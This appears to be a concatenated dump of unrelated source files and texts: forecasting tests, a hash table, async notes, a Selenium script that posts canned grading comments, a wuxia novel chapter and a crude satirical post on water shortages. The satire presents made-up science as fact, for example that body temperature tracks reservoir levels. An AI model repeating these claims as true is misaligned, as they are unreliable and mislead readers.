["seconds", "minutes", "hours", "days", "pentads", "weeks"] ) def test_HindcastEnsemble_lead_pdTimedelta(hind_ds_initialized_1d, lead_res): """Test to see HindcastEnsemble can be initialized with lead as pd.Timedelta.""" if lead_res == "pentads": n, freq = 5, "d" else: n, freq = 1, lead_res[0].lower() initialized = hind_ds_initialized_1d initialized["lead"] = [ pd.Timedelta(f"{i*n} {freq}") for i in initialized.lead.values ] hindcast = HindcastEnsemble(initialized) assert hindcast.get_initialized().lead.attrs["units"] == lead_res def test_monthly_leads_real_example(hindcast_NMME_Nino34): skill = ( hindcast_NMME_Nino34.isel(lead=[0, 1, 2]) .sel(init=slice("2005", "2006")) .verify( metric="crps", comparison="m2o", dim=["init", "member"], alignment="same_inits", ) ) assert skill.to_array().notnull().all() def test_daily_leads_real_example(hindcast_S2S_Germany): skill = ( hindcast_S2S_Germany.isel(lead=[0, 1]) .sel(init=slice("2005", "2006")) .verify( metric="crps", comparison="m2o", dim=["init", "member"], alignment="same_inits", ) ) assert skill.to_array().notnull().all()
C++
UTF-8
260
3.125
3
[ "Apache-2.0" ]
permissive
/* Factorial trailing digits Problem 160 For any N, let f(N) be the last five digits before the trailing zeroes in N!. For example, 9! = 362880 so f(9)=36288 10! = 3628800 so f(10)=36288 20! = 2432902008176640000 so f(20)=17664 Find f(1,000,000,000,000) */
Markdown
UTF-8
11,257
2.90625
3
[]
no_license
二十九 许慈航笑道:“我倒没有什么扬威武林壮志,只想倚仗此剑,设法破除‘黑地狱’,救出一干沉沦其内的江湖人物!” “黑地狱”三字,谷家麒与水中萍均系闻所未闻,不由向许慈航愕然问道:“许兄,你所说的‘黑地狱’,是在何处?其中……” 许慈航慨然叹道:“这‘黑地狱’三字,是桩几乎绝无人知的莫大秘密!说来其话甚长,谷兄与水姑娘且请找个僻静之处,听我细诉!” 谷家麒手指右侧高崖说道:“这座小崖,不过十来丈高,我们且到崖顶一叙!” 水中萍好奇喜事,急于得知有关“黑地狱的”秘密,首先提气腾身,许慈航也随后往上纵去! 谷家麒暗地留神观察许慈航的轻功身法,仍觉他最少要比自己与水中萍,差了三四成火候! 到了崖顶,环境果然幽静已极,三人倚松就石而坐,许慈航笑道:“谷兄与水姑娘,就你们所知,当世武林中声望极高,未闻仙逝,却突然隐迹不见的,有哪些人物?” 谷家麒答道:“我入世末深,见闻不广,只知有‘玄清羽士’陆文广,‘单掌追魂’钱正威,及‘虬须剑客’董宏年等。” 水中萍接口笑道:“我再替你补充两人,一位是凶名正满江湖.却突然举教一齐隐迹不见的‘勾魂教主’,另一位则是外号人称‘黑心张良’的司马庸!” 许慈航点头笑道:“两位可知这几位曾在武林中享有盛名的人物,为何突然不见?到底是生是死呢?” 谷家麒答道:“如今是生是死?无法判知,但据一般传说,都认为他们是看透世情,而遁迹隐修了!” 许慈航长叹一声说道:“莽莽红尘以内,能有几人真正抛得开名利?看得透世情?他们如今均还健在.但不是在名山大泽,啸傲逍遥,而是在‘黑地狱’中,沦为鬼吏!” 谷家麒与水中萍越听越对这“黑地狱”感觉兴趣。 水中萍尤其性急,向许慈航问道:“许兄,这‘黑地狱’究在何处?” 许慈航答道:“是在广西‘勾漏山’的一座山峰腹内!” 谷家麒问道:“这‘黑地狱’是否有人主持?” 许慈航点头说道:“由一位不知其名,自称‘幽冥主宰’之人主持!” 水中萍柳眉微扬问道:“这位‘幽冥主宰’的武功如何?” 许慈航道:“此人雄心大略.武功盖代,绝不会在当世几位出奇高人,‘冷香仙子’聂冰魂,‘七剑神君’欧古月,‘西风醉客’南宫漱石等人之下!” 谷家麒剑眉微蹙,目光一转问道:“这位‘幽冥主宰’,既有如此绝顶武功,又复雄心大略,为何不想出世,称霸武林?而只在什么‘黑地狱”中弄鬼?” 许慈航笑道:“幸亏这‘幽冥主宰’,怯惧一句誓言,不敢出世,否则武林中早已被他弄得纷纷大乱!” 水中萍问道:“这‘幽冥主宰’,怯惧一句什么誓言?” 许慈航笑道:“他曾对一位佛门高人立誓不见天日,倘若一见天日之光,便将分尸惨死!故而只好在‘黑地狱’中,诱入不少武林奇客,供他奴役驱使!” 谷家麒忽然听得起疑问道:“许兄.这‘黑地狱’之事,既是几无人知的绝大秘密,你却如何知晓?” 许慈航神色惨然地说道:“我在东南沿海,巧遇一人,此人便曾被诱,身陷‘黑地狱’中,日久生悔,用尽心机,并断去一臂.才得拼命逃出!但‘幽冥主宰’对‘黑地狱’中所有人物,均曾暗下剧毒,故而那人对我叙述末完,便即七窍齐喷黑血,肝肠寸裂而死!” 水中萍听完向许慈航说道:“这位‘幽冥主宰’,既然武功如此高明,心肠如此狠毒,他手下又有不少好手,‘黑地狱’地势,更极幽秘艰险,要想破它,恐怕不是一二人之力,所能奏功?” 许慈航点头说道:“那‘黑地狱’中,是以‘勾魂教’全体教徒,作为基础,危机密布,好手云集,尤其那位被‘幽冥主宰’倚为智囊的‘黑心张良’司马庸,更是诡计多端!故而小弟流转江湖之际,随时都在寻觅志同道合的好手为助!” 谷家麒听到此处,忽然微笑说道:“我倒想起一个武功极强的绝好帮手,许兄若能邀他一同前往,最好不过。” 许慈航大喜问道:“此人是谁?” 谷家麒尚未答言,水中萍业已冷笑一声,接口说道:“他说的是谁?我一猜便中!” 谷家麒笑道:“在熊耳山清竹涧内,那位号称‘文魔’的‘辣手才人’石不开,猜我所作的谜语,猜得极好,使我非常佩服!想不到如今你又会猜我心思,倒看你猜得中也不中?” 水中萍白了谷家麒一眼,酸溜溜地说道:“这场‘三绝大宴’之中,除了西风醉客南宫漱石是你对头,及志不同道不合的‘震天神手’澹台疃,‘铁嘴君平’辛子哲外,我看出你只佩服一人,还用猜吗?” 谷家麒学着许慈航的口吻说道:“此人是谁?” 水中萍晒然说道:“除了那位人既美貌绝顶,武功又轶伦超群的岳悲云姑娘,还有哪个?” 谷家麒见水中萍一提到岳悲云,便自醋意盎然,不由暗想女孩儿家,气量毕竟狭隘,岳悲云与自己只是初见,尚未订交,水中萍便已如此嫉妒,倘若…… 念犹未了,许慈航业已笑道:“不瞒谷兄及水姑娘说,‘邛崃三绝’是小弟旧识,岳悲云姑娘、东方刚兄,及阮清泉老人家,均允到时前往广西‘勾漏山’,共破‘黑地狱’,诛除‘幽冥主宰’!” 水中萍不知怎的,对那岳悲云既觉有点惺惺相惜,又觉有点不惬于怀,闻言冲口说道:“岳悲云去,我就不去!” 许慈航弄不懂水中萍为何如此歧视岳悲云?正待发话询问之际,谷家麒却在一旁,向他微施眼色示意! 许慈航人极聪明,一见谷家麒眼色,便会意笑道:“岳悲云姑娘,虽允为助,却不与小弟一路同行,她和东方刚、阮清泉等,到时自行前往!” 谷家麒生恐水中萍再出花样,抢先问道:“许兄打算何时前往‘勾漏山’,共破‘黑地狱’?” 许慈航笑道:“要想彻底扫荡‘黑地狱’,必须先歼除它的外围分子!故而我把时间订在明年五月初五!” 水中萍听出兴趣,接口问道:“这‘黑地狱’居然还有外围分子?” 许慈航蹙眉说道:“那‘幽冥主宰’已极狠毒,他倚为军师的‘黑心张良’司马庸.更是阴损无比,他们在当世武林中所有声势浩大的绝世高手身旁,全派遣有伺机发动阴谋,设法逼使该人投往‘黑地狱’的心腹外围分子!” 谷家麒问道:“哪几位声势浩大的武林高手身旁,隐伏有‘黑地狱’的外围份子,许兄可知道吗?” 许慈航眉头一蹙说道:“我所遇那人,虽曾说出几位.但可惜既未说完,也未说出所隐伏者姓名,便即毒发身死!” 水中萍问道:“他说了哪几位武林高人?” 许慈航摇头叹道:“此事说来颇足耸人听闻,那人说是‘七剑神君’欧古月,‘绿鬓妖婆’乔赛乔,‘魔外之魔’公孙大寿.甚至连远居‘北天山’冰天雪地之中的‘冷香仙子’聂冰魂身旁,均已隐伏了‘黑地狱’的外围份子!” 谷家麒与水中萍听得悚然动容,相互对看一眼! 水中萍问道:“那‘幽冥主宰’,及‘黑心张良’司马庸,果然够狠.竟敢对这几位出类拔萃的绝代奇人,动起脑筋!但其中却为什么不包括‘西风醉客’南宫漱石?” 许慈航笑道:“南宫漱石睥睨天地,啸傲江湖,一向独来独往,既无宫室侍者,又无子女门徒,‘黑地狱’的外围份子.自然无从隐伏!” 谷家麒冷笑一声说道:“许兄说那‘幽冥主宰’,及‘黑心张良’司马庸,极为阴损狠毒,我却认为他们幼稚不堪!” 许慈航其明其妙地讶然问道:“谷兄为何讥笑‘幽冥主宰’,及‘黑心张良’司马庸,幼稚不堪?” 谷家麒哂然答道:“许兄方才所说的那几位高人,俱都艺臻化境,目空四海,他们中任何一位,也不可能屈尊投往‘黑地狱’!‘幽冥主宰’与‘黑心张良’司马庸,白费心思,岂非幼稚?” 许慧航摇头叹道:“谷兄哪里知道‘黑地狱’中人物的厉害,他们全都心机诡辣无比,并各自带有一种无形五色无味的秘密慢性毒药.能使人在不知不觉之中,暗暗中毒,一旦毒发,便必须投奔‘黑地狱’求治,否则便告死亡,绝无生理!” 谷家麒、水中萍听到此处,方自均觉心中一寒。 许慈航又复说道:“黑地狱中人物,因有如此厉害阴损手段,故而专择第一流的绝顶人物下手,倘若换了声望武学略差之人,他们还看不上呢!” 谷家麒因听得“黑地狱”中人物,如此阴毒,不由心中颇替义父“七剑神君”欧古月,及义母“绿鬓妖婆”乔赛乔担忧,想到蟠冢山“七剑宫”,及小孤山“江东别苑”之中,传送警信,并设法清除隐伏义父母身边的“黑地狱”外围分子! 水中萍因是北天山“冷香仙子”聂冰魂爱徒,故而心中想法与谷家麒一样,见他蹙眉沉吟.遂含笑说道:“我们与许兄适才所说的几位高人,都有深重关系,不如暂时分路报警,然后约定时间,到‘魔外之魔’公孙大寿的‘苗疆魔谷’会面,商议共破‘黑地狱’之策!” 谷家麒闻言,自然含笑点头,许慈航却讶声问道:“谷兄及水姑娘,与我适才所说几位绝世人物中,哪位有关?” 谷家麒因至今尚不知水中萍的师承来历,听许慈航这等问法,只好目注水中萍.微微一笑。 水中萍芳心早属谷家麒,不愿久隐行藏,遂向许慈航含笑说道:“他是‘七剑神君’欧古月,及‘绿鬓……仙婆’乔赛乔的义子.我则是北天山‘冷香仙子’聂冰魂的门下!” 许慈航听得悚然动容,又向谷家麒、水中萍深深一揖.含笑说道:“原来谷兄及水姑娘是这几位高人门下,怪不得身怀那等绝世神功,今后还望多多提携提携小弟!” 谷家麒因听水中萍把自己义母乔赛乔的“绿鬓妖婆”外号改成“绿鬓仙婆”,不由高兴异常,微笑答道:“许兄何必如此自谦?你根骨高绝,将来成就,定然远超谷家麒等!我们身有要事,暂且为别,约定五月初五,在‘魔外之魔’公孙大寿的‘苗疆魔谷’彼此相会,留下整整一年光阴,以作共破‘黑地狱’的准备,应该够充裕了!”
TypeScript
UTF-8
1,365
3.234375
3
[ "MIT" ]
permissive
import * as _ from 'lodash'; import {EventEmitter} from 'events'; export interface TestResult { name: string; min: number; max: number; avg: number; results: number[]; } export default class Test extends EventEmitter { private _name: string; private _test: () => void; private _test_repetitions = 1000; constructor(name: string, test: () => void, test_repetitions?: number) { super(); this._name = name; this._test = test; if(test_repetitions) this._test_repetitions = test_repetitions; } public async run(): Promise<TestResult> { let min = Number.MAX_VALUE; let max = 0; const times: number[] = []; for(let i = 0; i < this._test_repetitions; i++) { this.emit('testing', i, this._test_repetitions); const start = performance.now(); await this._test(); const time = performance.now() - start; if(time < min) min = time; if(time > max) max = time; times.push(time); } return { name: this._name, min, max, results: times, avg: _.mean(times) } } public get name(): string { return this._name; } }
Java
UTF-8
1,862
1.914063
2
[]
no_license
package com.fanyafeng.firstblog.controller.user; import com.fanyafeng.firstblog.interceptor.LoginInterceptorAnnotation; import com.fanyafeng.firstblog.model.User; import com.fanyafeng.firstblog.returnmessage.MessageResponse; import com.fanyafeng.firstblog.service.UserService; import com.fanyafeng.firstblog.service.impl.UserServiceImpl; import com.github.pagehelper.PageHelper; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.annotation.Resource; import javax.servlet.http.HttpServletRequest; import java.util.List; /** * Author: fanyafeng * Data: 2019-02-23 12:11 * Email: fanyafeng@live.cn */ @Controller @RequestMapping("/user") public class UserController { @Resource private UserService userService; @RequestMapping("/showUser") @ResponseBody public MessageResponse toIndex(HttpServletRequest request, Model model) { int userId = Integer.parseInt(request.getParameter("id")); User user = this.userService.getUserById(userId); return MessageResponse.success().add(user); } @RequestMapping("/showUserList") @ResponseBody public MessageResponse showUserList(HttpServletRequest request, Model model) { try { int pageNum = Integer.parseInt(request.getParameter("pageNum")); int pageSize = Integer.parseInt(request.getParameter("pageSize")); String likeField = request.getParameter("likeField"); PageHelper.startPage(pageNum, pageSize); return MessageResponse.success().add(this.userService.selectByLikeField(likeField)); } catch (NumberFormatException e) { e.printStackTrace(); } return MessageResponse.fail(); } }
Python
UTF-8
2,563
4.59375
5
[]
no_license
""" One of the most important data structure in existence. Provides expected O(1) insertion, lookup, deletion. However, if the choice of a hash function is bad, collision may often arise and this performance may degrade to O(n) in every case. Following is a crude implementation of a hash table, capable of storing strings. Hash function is chosen to be the int hash = 7; for (int i = 0; i < strlen; i++) { hash = hash*31 + charAt(i); } taken from https://stackoverflow.com/questions/2624192/good-hash-function-for-strings?rq=1 The choice for storage is list of tuples. For example, an example hash table may look like: 32: [('australia', 12032)] 53: [('barmuda', 329), ('zimbabwe', 908)] where, hashfunction('australia') = 32. Time complexity: Insertion: if c denotes the capacity: then for the initial list creation: O(c), hash creation is a constant time operation, O(1) accessing the index of the list with hash value O(1) appending at the end O(1) Search: Accessing the index: O(1) searching for the item: O(n) where n is the number of words inserted so far if a good hash function was used, this complexity is expected to be constant. """ class HashTable: def __init__(self, capacity=10000): """ initialize with an optional initial size. """ self.capacity = capacity self.table = [[] for i in xrange(capacity)] def compute_hash(self, word): """the larger the modulo number is, the more places the hash table has. it depends on the initial size of the hash table. """ hash_value = 7 # some prime number for i in range(len(word)): hash_value = (hash_value * 7 + ord(word[i])) % self.capacity return hash_value def insert(self, word, value): """calculate the hash of the word. insert it into the hash index. if there are values already, append it. """ hash_value = self.compute_hash(word) self.table[hash_value].append((word, value)) def search(self, word): """search for the given word and return the value associated with it""" hash_value = self.compute_hash(word) tuple_list = self.table[hash_value] for item in tuple_list: if item[0] == word: return item[1] return 'item not found' if __name__=='__main__': ht = HashTable() ht.insert('Russia', 17098246) ht.insert('Canada', 9984670) ht.insert('China', 9572900) ht.insert('USA', 9525067) ht.insert('Brazil', 8515767) print ht.search('Brazil')
JavaScript
UTF-8
2,282
4.78125
5
[]
no_license
// Async:Promiseを返却する関数を宣言する // Await:Promiseを返却する関数(Async)の非同期処理が完了するまで待つ // function sleep(val) { // return new Promise(function(resolve) { // setTimeout(function() { // console.log(val++); // resolve(val); // }, 1000); // }); // } // sleep(0).then(function(val) { // return sleep(val); // }).then(function(val) { // return sleep(val); // }).then(function(val) { // return sleep(val); // }).then(function(val) { // return sleep(val); // }).then(function(val) { // return sleep(val); // }) function sleep(val) { return new Promise(function(resolve) { setTimeout(function() { console.log(val++); resolve(val); }, 1000); }); } // async関数自体もPromiseのインスタンスとなっている(thenメソッドで処理をつなげることもできる) async function init() { // awaitはasync関数内でしか使用できない、awaitで非同期処理を待っている間でもasync関数外の同期処理は停止せずに処理が進む let val = await sleep(0); // ↑awaitをつけた関数はその関数がreturnで返すPromiseインスタンス内のコールバック関数内のresolveの実引数を戻り値として返す // →上記のvalにはsleep関数実行時のresolveの引数であるvalの値が渡される console.log(val); console.log('hello'); // await式は非同期、awaitより下のconsole.logは同期処理だがawait式は非同期処理を実行して完了しするまで次の行を実行しないためconsole.logはawait式の後に実行される // →await式を使うことで通常の同期処理のような流れでコードを書くことができる return val; // async関数内で返却される値がthenのコールバック関数の引数として使用可能 } init().then(function(val){ setTimeout(console.log(val), 1000); }); Promise.resolve(1).then((value) => { console.log(value); // => 1 return value * 2; }).then(value => { console.log(value); // => 2 return value * 2; }).then(value => { console.log(value); // => 4 // 値を返さない場合は undefined を返すのと同じ }).then(() => { console.log(value); // => undefined });
Swift
UTF-8
2,340
3.328125
3
[ "BSD-3-Clause" ]
permissive
// // SettingsExtension.swift // Patriot // // This object implements a model for persisting user settings. // It is expected to be injected into classes needing it. // Defaults are provided if not previously saved. // // Created by Ron Lisle on 6/7/17. // Copyright © 2017 Ron Lisle. All rights reserved. // import Foundation // We'll use the default string rawValue for the key in the store //TODO: This is not extensible. Cases cannot be extended. // Use strings + unit tests enum SettingsKey: String { case particleUser case particlePassword } protocol SettingsStore { func getBool(forKey: SettingsKey) -> Bool? func set(_ bool: Bool?, forKey: SettingsKey) func getInt(forKey: SettingsKey) -> Int? func set(_ int: Int?, forKey: SettingsKey) func getString(forKey: SettingsKey) -> String? func set(_ string: String?, forKey: SettingsKey) } class UserDefaultsSettingsStore: SettingsStore { let userDefaults = UserDefaults.standard func getBool(forKey key: SettingsKey) -> Bool? { return userDefaults.bool(forKey: key.rawValue) } func set(_ bool: Bool?, forKey key: SettingsKey) { userDefaults.set(bool, forKey: key.rawValue) } func getInt(forKey key: SettingsKey) -> Int? { return userDefaults.integer(forKey: key.rawValue) } func set(_ int: Int?, forKey key: SettingsKey) { userDefaults.set(int, forKey: key.rawValue) } func getString(forKey key: SettingsKey) -> String? { return userDefaults.string(forKey: key.rawValue) } func set(_ string: String?, forKey key: SettingsKey) { userDefaults.set(string, forKey: key.rawValue) } } class Settings { let store: SettingsStore init(store: SettingsStore) { self.store = store } } extension Settings { var particleUser: String { get { return store.getString(forKey: .particleUser) ?? "" } set { store.set(newValue, forKey: .particleUser) } } var particlePassword: String { get { return store.getString(forKey: .particlePassword) ?? "" } set { store.set(newValue, forKey: .particlePassword) } } }
Python
UTF-8
6,166
2.5625
3
[]
no_license
#import selenium for automation from selenium import webdriver from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import NoSuchElementException from selenium.common.exceptions import StaleElementReferenceException from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions import sys import time from time import sleep from selenium.webdriver.chrome.options import Options evaluation_num=int(input("Enter the number of projects you wish to evlauate:")) for i in range(evaluation_num): try: options = Options() options.add_argument('--headless') options.add_argument('--disable-gpu') driver = webdriver.Chrome(ChromeDriverManager().install()),chrome_options=options) #engagexurl formurl = 'https://engagex.simplilearn.com/#/projects/assigned-projects/pending-evaluation' params = {'behavior': 'allow', 'downloadPath': r'C:\Users\Bhavana\Desktop\Downloaded_test_project'} driver.execute_cdp_cmd('Page.setDownloadBehavior', params) driver.get(formurl) def insertValues(xPath=None, sendKeyData=None): data = driver.find_element_by_xpath(xPath) data.click() data.send_keys(sendKeyData) def insertValuesAfterwait(xPath=None, sendKeyData=None): dataWait = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH,xPath))) dataWait.click() dataWait.send_keys(sendKeyData) engagex_mail="email" engagex_password="pwd" insertValues(xPath='/html/body/app-root/app-login/div/div/form/div[1]/input',sendKeyData=engagex_mail) insertValues(xPath='/html/body/app-root/app-login/div/div/form/div[2]/input',sendKeyData=engagex_password) # #login to engageX login_button=driver.find_element_by_xpath('/html/body/app-root/app-login/div/div/form/button') login_button.click() print("Logged in to enagagex") # #Clicking on the projects tab projects_tab = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.LINK_TEXT, "Projects"))) projects_tab.click() print("Clicked on projects Tab") # #Clicking on the My projects Tab my_projects_tab = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.LINK_TEXT, "My Projects"))) my_projects_tab.click() print("Clicked on my projects Tab") # #clicking on evaluate button evaluate = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.LINK_TEXT, "Evaluate"))) evaluate.click() print("Evaluating "+str(i+1)+" project") print("Starting to download project file"); # file_dowbload_click=WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH,'//*[@id="evaluate"]/div/div/div[2]/div/div[2]/div/div/div[2]/div/a'))).click() file_dowbload_click=WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.LINK_TEXT, "File 1"))) file_dowbload_click.click() print("File downloading started") print("open the downloads folder to evaluate the project and tell me is the project pass or fail") project_result=str(input("enter p for Pass or f for Fail: ")) if(project_result=='p'): #clicking on the radio button of pass pass_project=WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH,'//*[@id="evaluate"]/div/div/div[2]/div/div[3]/form/div[2]/ul/li[1]/input'))) pass_project.click() #passing the comment insertValuesAfterwait(xPath='//*[@id="evaluate"]/div/div/div[2]/div/div[3]/form/div[3]/textarea',sendKeyData="Congratulations !!! Your project is evaluated and approved. Your project is nicely done and you have completed the necessary tasks for this project. Keep it up !! You have done a great job in this project and have put great efforts.") # #Clicking on the evaluate button for final submission evaluate_project = WebDriverWait(driver, 50).until(EC.element_to_be_clickable((By.XPATH,'/html/body/app-root/app-dashboard-layout/div/div[2]/app-projects-view/app-projects-type-view/app-projects/app-project-detail/div/div/div/div[2]/div/div[3]/form/div[4]/div/button'))) evaluate_project.click() time.sleep(10) driver.close() print("Passed "+str(i+1)+" projects") elif(project_result=='f'): # failing a project fail_project=WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH,'//*[@id="evaluate"]/div/div/div[2]/div/div[3]/form/div[2]/ul/li[2]/input'))) fail_project.click(); # Failing a project comment insertValuesAfterwait(xPath='//*[@id="evaluate"]/div/div/div[2]/div/div[3]/form/div[3]/textarea',sendKeyData="Thank you for the submission. We regret to ifnorm you that the proejct is not accepted please share the complete project work space in a zip file along with the output screenshots.") # #Clicking on the evaluate button for final submission evaluate_project = WebDriverWait(driver, 50).until(EC.element_to_be_clickable((By.XPATH,'/html/body/app-root/app-dashboard-layout/div/div[2]/app-projects-view/app-projects-type-view/app-projects/app-project-detail/div/div/div/div[2]/div/div[3]/form/div[4]/div/button'))) evaluate_project.click() print("Failed "+str(i+1)+" projects") except NoSuchElementException: print("Nothing found ")
Python
UTF-8
2,076
2.859375
3
[]
no_license
# -*- coding:utf-8 _*- """ @author:crd @file: test.py @time: 2018/03/03 """ import pandas as pd import numpy as np import matplotlib.pylab as plt from matplotlib.pylab import rcParams from statsmodels.tsa.stattools import adfuller from statsmodels.tsa.seasonal import seasonal_decompose from statsmodels.tsa.stattools import acf, pacf from statsmodels.tsa.arima_model import ARIMA import statsmodels.api as sm from sklearn import preprocessing def test_stationarity(timeseries): # 决定起伏统计 rolmean = pd.rolling_mean(timeseries, window=3) # 对size个数据进行移动平均 rol_weighted_mean = pd.ewma(timeseries, span=3) # 对size个数据进行加权移动平均 rolstd = pd.rolling_std(timeseries, window=3) # 偏离原始值多少 # 画出起伏统计 plt.plot(timeseries, color='blue', label='Original') plt.plot(rolmean, color='red', label='Rolling Mean') plt.plot(rol_weighted_mean, color='green', label='weighted Mean') plt.plot(rolstd, color='black', label='Rolling Std') plt.legend(loc='best') plt.title('Rolling Mean & Standard Deviation') plt.show(block=False) # 进行df测试 print('Result of Dickry-Fuller test') dftest = adfuller(timeseries, autolag='AIC') dfoutput = pd.Series(dftest[0:4], index=['Test Statistic', 'p-value', '#Lags Used', 'Number of observations Used']) for key, value in dftest[4].items(): dfoutput['Critical value(%s)' % key] = value print(dfoutput) data = pd.read_csv('qihaihu.CSV') data = np.float64(data).reshape([25]) data_scale = preprocessing.scale(data) data_series = pd.Series(data) data_series.index = pd.Index(sm.tsa.datetools.dates_from_range('1987', '2011')) plt.plot(data_series) plt.show() # test_stationarity(data_series) date_diff1 = data_series.diff(1) date_diff1.dropna(inplace=True) test_stationarity(date_diff1) date_diff2 = data_series.diff(2) # test_stationarity(date_diff2) data_series.plot() date_diff1.plot() date_diff2.plot() plt.show() plt.show()
TypeScript
UTF-8
4,266
2.671875
3
[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]
permissive
import { err, ok, Result } from 'neverthrow' import { PublicKey, PublicKeyT } from '@radixdlt/crypto' import { Encoding } from '../bech32' import { AbstractAddress, FormatDataToBech32Convert, HRPFromNetwork, isAbstractAddress, NetworkFromHRP, ValidateDataAndExtractPubKeyBytes, } from './abstractAddress' import { buffersEquals } from '@radixdlt/util' import { AccountAddressT, AddressTypeT } from './_types' import { HRP, Network } from '@radixdlt/primitives' export const isAccountAddress = ( something: unknown, ): something is AccountAddressT => { if (!isAbstractAddress(something)) return false return something.addressType === AddressTypeT.ACCOUNT } const maxLength = 300 // arbitrarily chosen const versionByte = Buffer.from([0x04]) const encoding = Encoding.BECH32 const hrpFromNetwork = (network: Network) => HRP[network].account const networkFromHRP: NetworkFromHRP = hrp => hrp === HRP.MAINNET.account ? ok(Network.MAINNET) : hrp === HRP.STOKENET.account ? ok(Network.STOKENET) : hrp === HRP.TESTNET3.account ? ok(Network.TESTNET3) : hrp === HRP.TESTNET4.account ? ok(Network.TESTNET4) : hrp === HRP.TESTNET5.account ? ok(Network.TESTNET5) : hrp === HRP.TESTNET6.account ? ok(Network.TESTNET6) : hrp === HRP.TESTNET7.account ? ok(Network.TESTNET7) : err( Error( `Failed to parse network from HRP ${hrp} for AccountAddress.`, ), ) const formatDataToBech32Convert: FormatDataToBech32Convert = data => Buffer.concat([versionByte, data]) const validateDataAndExtractPubKeyBytes: ValidateDataAndExtractPubKeyBytes = ( data: Buffer, ): Result<Buffer, Error> => { const receivedVersionByte = data.slice(0, 1) if (!buffersEquals(versionByte, receivedVersionByte)) { const errMsg = `Wrong version byte, expected '${versionByte.toString( 'hex', )}', but got: '${receivedVersionByte.toString('hex')}'` console.error(errMsg) return err(new Error(errMsg)) } return ok(data.slice(1, data.length)) } const fromPublicKeyAndNetwork = ( input: Readonly<{ publicKey: PublicKeyT network: Network }>, ): AccountAddressT => AbstractAddress.byFormattingPublicKeyDataAndBech32ConvertingIt({ ...input, network: input.network, hrpFromNetwork, addressType: AddressTypeT.ACCOUNT, typeguard: isAccountAddress, formatDataToBech32Convert, encoding, maxLength, }) .orElse(e => { throw new Error( `Expected to always be able to create AccountAddress from publicKey and network, but got error: ${e.message}`, ) }) ._unsafeUnwrap({ withStackTrace: true }) const fromString = (bechString: string): Result<AccountAddressT, Error> => AbstractAddress.fromString({ bechString, addressType: AddressTypeT.ACCOUNT, networkFromHRP, typeguard: isAccountAddress, validateDataAndExtractPubKeyBytes, encoding, maxLength, }) const fromBuffer = (buffer: Buffer): Result<AccountAddressT, Error> => { const fromBuf = (buf: Buffer): Result<AccountAddressT, Error> => PublicKey.fromBuffer(buf).map(publicKey => fromPublicKeyAndNetwork({ publicKey, network: Network.MAINNET, // yikes! }), ) if (buffer.length === 34 && buffer[0] === 0x04) { const sliced = buffer.slice(1) if (sliced.length !== 33) { return err(new Error('Failed to slice buffer.')) } return fromBuf(sliced) } else if (buffer.length === 33) { return fromBuf(buffer) } else { return err( new Error( `Bad length of buffer, got #${buffer.length} bytes, but expected 33.`, ), ) } } export type AccountAddressUnsafeInput = string | Buffer const isAccountAddressUnsafeInput = ( something: unknown, ): something is AccountAddressUnsafeInput => typeof something === 'string' || Buffer.isBuffer(something) export type AddressOrUnsafeInput = AccountAddressUnsafeInput | AccountAddressT export const isAccountAddressOrUnsafeInput = ( something: unknown, ): something is AddressOrUnsafeInput => isAccountAddress(something) || isAccountAddressUnsafeInput(something) const fromUnsafe = ( input: AddressOrUnsafeInput, ): Result<AccountAddressT, Error> => isAccountAddress(input) ? ok(input) : typeof input === 'string' ? fromString(input) : fromBuffer(input) export const AccountAddress = { isAccountAddress, fromUnsafe, fromPublicKeyAndNetwork, }
C#
UTF-8
587
3.234375
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Fizzbuzz { public class Fizzbuzz { public static T Result<T>(int i) { if (i < 1 || i > 100) return (T)(object)"Out of range"; if (i % 3 == 0 && i % 5 == 0) return (T)(object)"Fizzbuzz"; if (i % 3 == 0) return (T)(object)"Fizz"; if (i % 5 == 0) return (T)(object)"Buzz"; return (T)(object)i; } } }
Markdown
UTF-8
1,784
2.96875
3
[]
no_license
--- title: Water Shortage author: logician layout: post permalink: /definitions/water-shortage/ aktt_notify_twitter: - yes idNumber: - 64 robotsmeta: - index,follow --- In Australia on average <!--more-->we have less water than can come out of your tap. Most of the time when you have a shower it actually sucks any moisture OFF your skin in order to refill the catchments. Despite these annoying facts that interrupt daily life, people don&#8217;t seem to realise that if we take proper action we can refill the catchments, allowing the constant barrage of advertising us telling us to &#8220;drink less water&#8221; to end. Take out your paper and have a good long look at the current state of our water. Apparently it is 37% there. So 37% of all the catchments are full. Now get a thermometer and shove it up your ass. I don&#8217;t mean lightly, really force it up there. Even if you&#8217;re not ready for it I want you to run as fast as you can to the bathroom and blindly throng it up. You&#8217;re sweating aren&#8217;t you! So you should be you dirty, dirty thing. Now take it out. What&#8217;s the temperature? 37. Degrees. Scientifically, body temperature is controlled by the amount of water in your system. If there&#8217;s not much water in that system then you&#8217;ll be hotter, requiring more to cool down. This relationship is directly transferred to the catchments. If you had a fever of let&#8217;s say.. 60 degrees we might be able to remove those water restrictions once and for all. Farmers wouldn&#8217;t struggle with ongoing sandstorms and Darude wouldn&#8217;t step in and make bad puns. So either drink less water so we can all benefit or get a thermometer that you can bribe to show a hotter temperature than the one currently up your ass. Prick.
Markdown
UTF-8
1,880
2.640625
3
[ "MIT" ]
permissive
